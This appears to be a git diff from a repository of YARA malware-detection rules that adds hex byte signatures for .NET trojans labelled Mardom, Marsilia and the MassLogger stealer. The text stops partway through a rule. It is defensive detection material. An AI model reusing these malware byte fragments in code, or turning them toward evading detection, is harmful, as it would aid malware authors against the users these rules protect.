b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ANXA_MTB.yar new file mode 100644 index 0000000000..ca08610ae8 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ANXA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Mardom_ANXA_MTB{ + meta: + description = "Trojan:BAT/Mardom.ANXA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_03_0 = {72 79 00 00 70 28 ?? 00 00 0a 0a 72 ab 00 00 70 28 ?? 00 00 0a 0b 73 ?? 00 00 0a 0c 08 06 6f ?? 00 00 0a 08 07 6f ?? 00 00 0a 08 6f ?? 00 00 0a 02 16 02 8e 69 6f ?? 00 00 0a 0d dd } //4 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*4+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ASUA_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ASUA_MTB.yar new file mode 100644 index 0000000000..4141511ad5 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ASUA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Mardom_ASUA_MTB{ + meta: + description = "Trojan:BAT/Mardom.ASUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 0c 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 02 7b ?? 00 00 04 6f ?? 00 00 0a 08 6f ?? 00 00 0a 0d 73 ?? 00 00 0a 13 04 11 04 09 17 73 ?? 00 00 0a 13 05 11 05 06 16 06 8e 69 6f ?? 00 00 0a 11 05 6f ?? 00 00 0a 11 04 6f ?? 00 00 0a 13 06 03 20 ?? ?? 00 00 28 ?? ?? 00 06 11 06 6f ?? 00 00 06 05 20 ?? ?? 00 00 28 ?? ?? 00 06 6f ?? 00 00 0a 17 0b de 4e } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_GVA_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_GVA_MTB.yar new file mode 100644 index 0000000000..57b36a306e --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Mardom_GVA_MTB{ + meta: + description = "Trojan:BAT/Mardom.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6f 1b 00 00 0a 14 18 8d 01 00 00 01 25 16 02 a2 25 17 03 a2 6f 1c 00 00 0a 26 2a } //2 + $a_01_1 = {6f 16 00 00 0a 26 07 17 6f 17 00 00 0a 07 17 8d 17 00 00 01 25 16 06 a2 6f 18 00 00 0a } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MBZ_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MBZ_MTB.yar new file mode 100644 index 0000000000..d0c5d491bb --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MBZ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Mardom_MBZ_MTB{ + meta: + description = "Trojan:BAT/Mardom.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {41 62 61 77 6f 6d 69 73 2e 4e 75 79 61 64 65 76 2e 49 79 65 6c 61 } //2 Abawomis.Nuyadev.Iyela + $a_01_1 = {52 72 48 68 37 } //1 RrHh7 + $a_01_2 = {52 6f 6b 69 6a 61 6c } //1 Rokijal + $a_01_3 = {6e 74 71 6a 72 7a 7a 6e 70 79 6b 6a 6d } //1 ntqjrzznpykjm + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MKV_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MKV_MTB.yar new file mode 100644 index 0000000000..803d54b7dd --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_MKV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Mardom_MKV_MTB{ + meta: + description = "Trojan:BAT/Mardom.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {13 04 11 04 09 17 73 94 00 00 0a 13 05 2b 33 2b 35 16 2b 36 8e 69 2b 36 2b 3b 2b 3d 2b 42 2b 44 2b 4c 2b 51 72 ef 00 00 70 2b 51 16 2c 54 26 26 26 2b 59 72 13 01 00 70 2b 58 17 2b 5f dd c2 00 00 00 2b 5e 2b c9 2b 5e 2b c7 2b 5d 2b c6 6f ?? 00 00 0a 2b c3 11 05 2b c1 6f ?? 00 00 0a 2b bc 11 04 2b ba 6f ?? 00 00 0a 38 b2 ff ff ff 13 06 38 ad ff ff ff 11 06 38 a8 ff ff ff 03 38 a9 ff ff ff 28 ad 0a 00 06 38 a5 ff ff ff 05 38 a1 ff ff ff 6f ?? 00 00 0a 38 9e ff ff ff 0b 38 9b ff ff ff 11 05 2b 9e 06 2b 9f 06 2b a0 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_SFA_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_SFA_MTB.yar new file mode 100644 index 0000000000..9935b2aca8 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_SFA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Mardom_SFA_MTB{ + meta: + description = "Trojan:BAT/Mardom.SFA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {28 0a 00 00 0a 0d 07 28 0b 00 00 0a 2d 2b 28 0c 00 00 0a 28 0d 00 00 0a 28 0e 00 00 0a 72 ?? ?? ?? 70 28 0f 00 00 0a 13 04 11 04 09 28 10 00 00 0a 11 04 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ST_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ST_MTB.yar new file mode 100644 index 0000000000..3daafba349 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ST_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Mardom_ST_MTB{ + meta: + description = "Trojan:BAT/Mardom.ST!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {73 01 00 00 0a 25 6f 02 00 00 0a 72 ad 00 00 70 72 c3 00 00 70 6f 03 00 00 0a 72 ba 01 00 70 6f 04 00 00 0a 13 03 20 00 00 00 00 7e 3e 03 00 04 7b 28 03 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe 0c 01 00 45 01 00 00 00 05 00 00 00 38 00 00 00 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_AMR_MTB.yar b/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_AMR_MTB.yar index 8665348818..f24f9baff1 100644 --- a/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_AMR_MTB.yar +++ b/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_AMR_MTB.yar @@ -10,6 +10,16 @@ rule Trojan_BAT_Marsilia_AMR_MTB{ } rule Trojan_BAT_Marsilia_AMR_MTB_2{ + meta: + description = "Trojan:BAT/Marsilia.AMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {16 13 08 2b 3b 11 07 11 08 9a 13 09 11 05 11 09 6f ?? 00 00 0a 13 0a 12 0a 28 ?? 00 00 0a 58 13 05 11 06 11 09 6f ?? 00 00 0a 13 0a 12 0a 28 ?? 00 00 0a 28 ?? 00 00 0a 13 06 11 08 17 58 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} +rule Trojan_BAT_Marsilia_AMR_MTB_3{ meta: description = "Trojan:BAT/Marsilia.AMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -20,7 +30,7 @@ rule Trojan_BAT_Marsilia_AMR_MTB_2{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_Marsilia_AMR_MTB_3{ +rule Trojan_BAT_Marsilia_AMR_MTB_4{ meta: description = "Trojan:BAT/Marsilia.AMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " diff --git a/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_SWB_MTB.yar b/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_SWB_MTB.yar new file mode 100644 index 0000000000..8f4aabd8e1 --- /dev/null +++ b/Trojan/BAT/Marsilia/Trojan_BAT_Marsilia_SWB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Marsilia_SWB_MTB{ + meta: + description = "Trojan:BAT/Marsilia.SWB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {12 00 12 01 28 07 00 00 06 02 06 07 28 08 00 00 06 51 28 09 00 00 06 0c 03 08 28 0a 00 00 06 51 2a } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Marsilia/Trojan_BAT_marsilia_SWC_MTB.yar b/Trojan/BAT/Marsilia/Trojan_BAT_marsilia_SWC_MTB.yar new file mode 100644 index 0000000000..27d38db32c --- /dev/null +++ b/Trojan/BAT/Marsilia/Trojan_BAT_marsilia_SWC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_marsilia_SWC_MTB{ + meta: + description = "Trojan:BAT/marsilia.SWC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {1e 8d 09 00 00 01 0c 07 28 ?? 00 00 0a 03 6f ?? 00 00 0a 6f ?? 00 00 0a 0d 09 16 08 16 1e 28 ?? 00 00 0a 06 08 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 18 6f ?? 00 00 0a 06 6f ?? 00 00 0a 13 04 02 28 ?? 00 00 0a 13 05 11 04 11 05 16 11 05 8e 69 6f ?? 00 00 0a 13 06 28 ?? 00 00 0a 11 06 6f ?? 00 00 0a 13 07 dd 0d 00 00 00 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ABQA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ABQA_MTB.yar new file mode 100644 index 0000000000..981adf920c --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ABQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_ABQA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ABQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {11 0a 11 0b 94 13 0c 00 11 04 11 0c 19 5a 11 0c 18 63 59 6a 58 13 04 11 04 11 04 1b 62 11 04 19 63 60 61 13 04 00 11 0b 17 58 13 0b 11 0b 11 0a 8e 69 32 cc } //3 + $a_01_1 = {06 11 06 11 06 1f 11 5a 11 06 18 62 61 20 aa 00 00 00 60 9e 00 11 06 17 58 13 06 11 06 06 8e 69 fe 04 13 07 11 07 2d d7 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ACSA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ACSA_MTB.yar new file mode 100644 index 0000000000..2a1bd8b74b --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ACSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ACSA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ACSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8e 69 1a 59 17 2c db 8d ?? 00 00 01 38 ?? 00 00 00 1d 2c e7 38 ?? 00 00 00 1a 07 16 07 8e 69 28 ?? 00 00 0a 06 28 ?? 00 00 06 0c 07 73 ?? 00 00 0a 0d 09 16 73 ?? 00 00 0a 13 04 16 13 05 2b 1e 1a 2c 25 11 04 08 11 05 06 11 05 59 6f ?? 00 00 0a 13 06 11 06 2c 0c 11 05 11 06 58 13 05 11 05 06 32 dd 11 05 06 2e 06 73 ?? 00 00 0a 7a 06 8d ?? 00 00 01 13 07 08 16 11 07 16 06 28 ?? 00 00 0a 11 07 13 08 de 1d } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ADAB_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ADAB_MTB.yar new file mode 100644 index 0000000000..f4f969ae8a --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ADAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ADAB_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ADAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 06 09 6f ?? 00 00 0a 13 04 12 04 28 ?? 00 00 0a 6c 05 7b ?? 00 00 04 06 1f 10 5d 99 23 fc a9 f1 d2 4d 62 50 3f 5a 58 13 05 12 04 28 ?? 00 00 0a 6c 0e 04 7b ?? 00 00 04 09 1f 09 5d 99 23 fc a9 f1 d2 4d 62 50 3f 5a 58 13 06 12 04 28 ?? 00 00 0a 6c 0e 04 7b ?? 00 00 04 23 00 00 00 00 00 00 59 40 5a 58 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AEVA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AEVA_MTB.yar new file mode 100644 index 0000000000..9dd23a8a49 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AEVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_AEVA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AEVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {08 11 06 91 16 fe 01 13 07 11 07 2c 0c 08 11 06 20 ff 00 00 00 9c 00 2b 14 00 08 11 06 8f ?? 00 00 01 25 13 08 11 08 47 17 da b4 52 00 11 06 17 d6 13 06 11 06 11 05 31 c7 } //5 + $a_01_1 = {08 11 04 07 07 8e 69 17 da 11 04 da 91 9c 11 04 17 d6 13 04 11 04 09 31 e7 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHSA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHSA_MTB.yar new file mode 100644 index 0000000000..d1db7eac1f --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_AHSA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AHSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 08 02 07 6f ?? 00 00 0a 1f 20 5d 1f 09 58 1f 19 5d 1f 10 5a 02 07 17 58 6f ?? 00 00 0a 1f 20 5d 1f 09 58 1f 19 5d 58 d2 9c 07 18 58 0b 08 17 58 0c 08 06 8e 69 fe 04 0d 09 2d c4 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHTA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHTA_MTB.yar new file mode 100644 index 0000000000..cf35358135 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AHTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_AHTA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AHTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 2c 06 06 8e 69 1a 2f 07 16 0b dd 8d 00 00 00 06 73 ?? 00 00 0a 0c 16 2d 44 2b 47 2b 48 2b 49 2b 4e 2b 4f 8d ?? 00 00 01 2b 4b 2b 4d 16 2b 4d 2b 52 11 04 02 16 11 05 09 28 ?? 00 00 06 de 0f 11 05 2c 0a 16 2d 07 11 05 6f ?? 00 00 0a dc 03 72 ?? ?? 00 70 11 04 28 ?? 00 00 06 17 0b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AISA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AISA_MTB.yar new file mode 100644 index 0000000000..812e8a00d2 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AISA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_MassLogger_AISA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AISA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_03_0 = {0a 13 04 11 04 09 06 07 6f ?? ?? 00 0a 17 73 ?? ?? 00 0a 13 05 16 2d 14 2b 38 2b 3a 16 03 8e 69 6f ?? ?? 00 0a 11 05 6f ?? ?? 00 0a 11 04 6f ?? ?? 00 0a 13 06 11 06 8e 69 28 ?? ?? 00 06 0c 11 06 16 08 16 11 06 8e 69 28 ?? ?? 00 0a 08 13 07 de 2c 11 05 2b c4 03 2b c3 } //5 + $a_01_1 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + $a_01_2 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + condition: + ((#a_03_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ALRA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ALRA_MTB.yar new file mode 100644 index 0000000000..8c40a85ffb --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_ALRA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_ALRA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.ALRA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {1a 25 2c 17 8d ?? 00 00 01 0b 06 07 16 1a 6f ?? ?? 00 0a 26 07 16 28 ?? ?? 00 0a 0c 06 16 73 ?? ?? 00 0a 0d 2b 36 8d ?? 00 00 01 2b 32 16 2b 33 2b 1c 2b 33 2b 34 2b 36 08 11 05 59 6f ?? ?? 00 0a 13 06 11 06 2c 0c 11 05 11 06 58 13 05 11 05 08 32 df 1b 2c ed 11 04 13 07 de 36 08 2b c7 13 04 2b ca 13 05 2b c9 09 2b ca 11 04 2b c8 11 05 2b c6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AML_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AML_MTB.yar index 5d723d413b..7807f05126 100644 --- a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AML_MTB.yar +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AML_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_BAT_MassLogger_AML_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AML!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 40 2b 23 00 03 11 3f 11 40 91 6f ?? ?? ?? 0a 00 11 14 1d 17 9c 11 0c 11 3f 11 40 91 58 13 0c 00 11 40 17 58 13 40 11 40 11 32 fe 04 13 41 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_BAT_MassLogger_AML_MTB_2{ meta: description = "Trojan:BAT/MassLogger.AML!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -10,7 +20,7 @@ rule Trojan_BAT_MassLogger_AML_MTB{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_MassLogger_AML_MTB_2{ +rule Trojan_BAT_MassLogger_AML_MTB_3{ meta: description = "Trojan:BAT/MassLogger.AML!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " @@ -21,7 +31,7 @@ rule Trojan_BAT_MassLogger_AML_MTB_2{ ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1) >=3 } -rule Trojan_BAT_MassLogger_AML_MTB_3{ +rule Trojan_BAT_MassLogger_AML_MTB_4{ meta: description = "Trojan:BAT/MassLogger.AML!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AMTA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AMTA_MTB.yar new file mode 100644 index 0000000000..02a87efd11 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AMTA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_MassLogger_AMTA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AMTA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 2f 07 16 0b dd 8d 00 00 00 06 73 ?? 00 00 0a 0c 16 2d 44 2b 47 2b 48 2b 49 2b 4e 2b 4f 8d ?? 00 00 01 2b 4b 2b 4d 16 2b 4d 2b 52 16 09 11 05 02 11 04 28 ?? 00 00 06 de 0f 11 05 2c 0a 16 2d 07 11 05 6f ?? 00 00 0a dc 03 72 ?? 00 00 70 11 04 28 ?? 00 00 06 17 0b } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_APUA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_APUA_MTB.yar new file mode 100644 index 0000000000..e1c279cab3 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_APUA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_APUA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.APUA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 09 74 d1 00 00 01 02 74 ?? 00 00 1b 16 02 14 72 ?? ?? 00 70 16 8d ?? 00 00 01 14 14 14 28 ?? 00 00 0a 28 ?? 00 00 0a 6f ?? ?? 00 0a 16 13 11 2b af 11 09 75 ?? 00 00 01 6f ?? ?? 00 0a 11 08 74 ?? 00 00 01 6f ?? ?? 00 0a 0d de 49 } //4 + $a_03_1 = {0a 11 04 74 ?? 00 00 01 20 80 00 00 00 6f ?? ?? 00 0a 1e 13 0d 2b 86 11 04 75 ?? 00 00 01 19 6f ?? ?? 00 0a 11 04 74 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? ?? 00 0a 17 13 0d 38 ?? ff ff ff 11 04 74 ?? 00 00 01 08 75 ?? 00 00 1b 6f ?? ?? 00 0a 11 04 75 ?? 00 00 01 6f ?? ?? 00 0a 13 06 1f 09 13 0d 38 } //3 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*3) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AUPA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AUPA_MTB.yar new file mode 100644 index 0000000000..8841478e8d --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AUPA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_AUPA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AUPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {11 0c 94 13 0d 11 04 11 0d 19 5a 11 0d 18 63 59 6a 58 13 04 11 04 11 04 1b 62 11 04 19 63 60 61 13 04 11 0c 17 58 13 0c 11 0c 11 0b 75 ?? 00 00 1b 8e 69 32 c4 } //5 + $a_03_1 = {11 07 11 07 1f 11 5a 11 07 18 62 61 20 aa 00 00 00 60 9e 11 07 17 58 13 07 11 07 06 74 ?? 00 00 1b 8e 69 fe 04 13 08 11 08 2d cf } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AVSA_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AVSA_MTB.yar new file mode 100644 index 0000000000..c062d43efd --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_AVSA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_MassLogger_AVSA_MTB{ + meta: + description = "Trojan:BAT/MassLogger.AVSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 11 06 11 08 6f ?? 00 00 0a 13 09 11 04 11 05 8e 69 6f ?? 00 00 0a 13 0b 11 0b 2c 39 00 00 11 05 13 0c 16 13 0d 2b 25 11 0c 11 0d 94 13 0e 00 11 0e 16 fe 04 13 0f 11 0f 2c 0b } //5 + $a_03_1 = {59 13 0a 11 0a 19 fe 04 16 fe 01 13 10 11 10 2c 48 00 11 06 16 2f 07 11 08 16 fe 04 2b 01 16 13 11 11 11 2c 07 00 73 e7 00 00 0a 7a 03 12 09 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 09 28 ?? 00 00 0a 6f ?? 00 00 0a 00 03 12 09 28 ?? 00 00 0a 6f ?? 00 00 0a 00 00 2b 58 11 0a 16 fe 02 13 12 11 12 2c 4d 00 19 8d ?? 00 00 01 25 16 12 09 28 ?? 00 00 0a 9c 25 17 12 09 28 ?? 00 00 0a 9c 25 18 12 09 28 ?? 00 00 0a 9c } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BQ_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BQ_MTB.yar new file mode 100644 index 0000000000..98ffa30e64 --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BQ_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_MassLogger_BQ_MTB{ + meta: + description = "Trojan:BAT/MassLogger.BQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_03_0 = {0e 04 03 19 8d ?? 00 00 01 25 16 12 09 28 ?? 00 00 0a 9c 25 17 } //2 + $a_03_1 = {8e 69 58 7e ?? 00 00 04 8e 69 5d 13 16 7e ?? 00 00 04 11 16 93 19 5d } //2 + $a_01_2 = {04 25 2d 17 26 7e } //1 ┄ᜭ縦 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BR_MTB.yar b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BR_MTB.yar new file mode 100644 index 0000000000..8b9345b44d --- /dev/null +++ b/Trojan/BAT/Masslogger/Trojan_BAT_MassLogger_BR_MTB.yar @@ -0,0 +1,11 @@ + +rule 